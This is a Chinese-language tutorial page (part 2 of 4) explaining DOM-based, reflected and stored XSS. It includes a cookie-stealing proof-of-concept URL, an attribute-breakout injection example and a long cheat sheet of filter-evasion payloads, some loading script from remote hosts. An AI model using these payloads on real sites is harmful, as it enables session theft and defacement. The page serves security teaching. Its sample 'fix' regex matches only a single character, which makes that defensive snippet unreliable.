跨站式腳本(Cross-SiteScripting)XSS攻擊原理分析第2/4頁
更新時間:2008年09月06日 12:27:38 作者:
XSS又叫CSS (Cross Site Script) ,跨站腳本攻擊。它指的是惡意攻擊者往Web頁面里插入惡意html代碼,當(dāng)用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執(zhí)行,從而達(dá)到惡意用戶的特殊目的。
分類
1. DOM-based cross-site scripting
頁面本身包含一些DOM對象的操作,如果未對輸入的參數(shù)進(jìn)行處理,可能會導(dǎo)致執(zhí)行惡意腳本。如下面一些DOM操作: document.URL
復(fù)制代碼 代碼如下:
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
舉個例子,假如某個脆弱的頁面的代碼如下:
[Ctrl+A 全選 注:引入外部Js需再刷新一下頁面才能執(zhí)行]
攻擊者使用如下的URL訪問時,則非常危險: http://www.vulnerable.site/welcome.html?name=<script>alert(document.cookie)</script>
試了一下,貌似IE、FireFox等瀏覽器默認(rèn)對<script>alert(document.cookie)</script>進(jìn)行了編碼,阻止了腳本的執(zhí)行。但是對于DOM操作還是要更加謹(jǐn)慎啊,比如把上面的頁面修改一下,安全性就增強(qiáng)了不少:
復(fù)制代碼 代碼如下:
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
</SCRIPT>
2. Reflected cross-site scripting
也被稱為None-Persistent cross-site scripting,即,非持久化的XSS攻擊,是我們通常所說的,也是最常用,使用最廣的一種方式。它通過給別人發(fā)送帶有惡意腳本代碼參數(shù)的URL,當(dāng)URL地址被打開時,特有的惡意代碼參數(shù)被HTML解析、執(zhí)行。它的特點(diǎn)是非持久化,必須用戶點(diǎn)擊帶有特定參數(shù)的鏈接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻擊,指的是惡意腳本代碼被存儲進(jìn)被攻擊的數(shù)據(jù)庫,當(dāng)其他用戶正常瀏覽網(wǎng)頁時,站點(diǎn)從數(shù)據(jù)庫中讀取了非法用戶存入非法數(shù)據(jù),惡意腳本代碼被執(zhí)行。這種攻擊類型通常在留言板等地方出現(xiàn)。
實施方式
我們來試一把Reflected cross-site scripting。當(dāng)我們在某網(wǎng)站輸入?yún)?shù)XXX,發(fā)現(xiàn)參數(shù)XXX原樣的出現(xiàn)在了頁面源碼中: <input type="text" class="Seach" name="w" value="XXX" />
OK,可以開始做文章了,我們將XXX替換為:abc"/><script>alert('haha')</script><a href=" ,返回的HTML代碼如下:
<input type="text" class="Seach" name="w" value="abc"/><script>alert('haha')</script><!--" />
這樣,<script>alert('haha')</script>被執(zhí)行了。這里再舉例一些XSS攻擊行為:
復(fù)制代碼 代碼如下:
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javascript:alert(String.fromCharCode(88,83,83))">
<IMG SRC="jav ascript:alert('XSS');">
<SCRIPT/XSS SRC="http://example.com/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<iframe src=http://example.com/scriptlet.html <
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert(document.cookie)>
<BODY onload!#$%&()*~+-_.,:;?@[/|"]^`=alert("XSS")>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<BR SIZE="&{alert('XSS')}">
<IMG SRC='vbscript:msgbox("XSS")'>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="width: expression(alert('XSS'));">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<?='<SCRIPT>alert("XSS")</SCRIPT>'?>
<A HREF="javascript:document.location='http://www.example.com/'">XSS</A>
<IMG SRC=javascript:alert('XSS')>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";
b="URL(""";
c="javascript:";
d="alert('XSS');"")";
eval(a+b+c+d);
相關(guān)文章
四個步驟加強(qiáng)網(wǎng)絡(luò)防護(hù)
四個步驟加強(qiáng)網(wǎng)絡(luò)防護(hù)...2006-09-09Iptables防火墻iprange模塊擴(kuò)展匹配規(guī)則詳解
這篇文章主要為大家介紹了Iptables防火墻iprange模塊擴(kuò)展匹配規(guī)則詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-08-08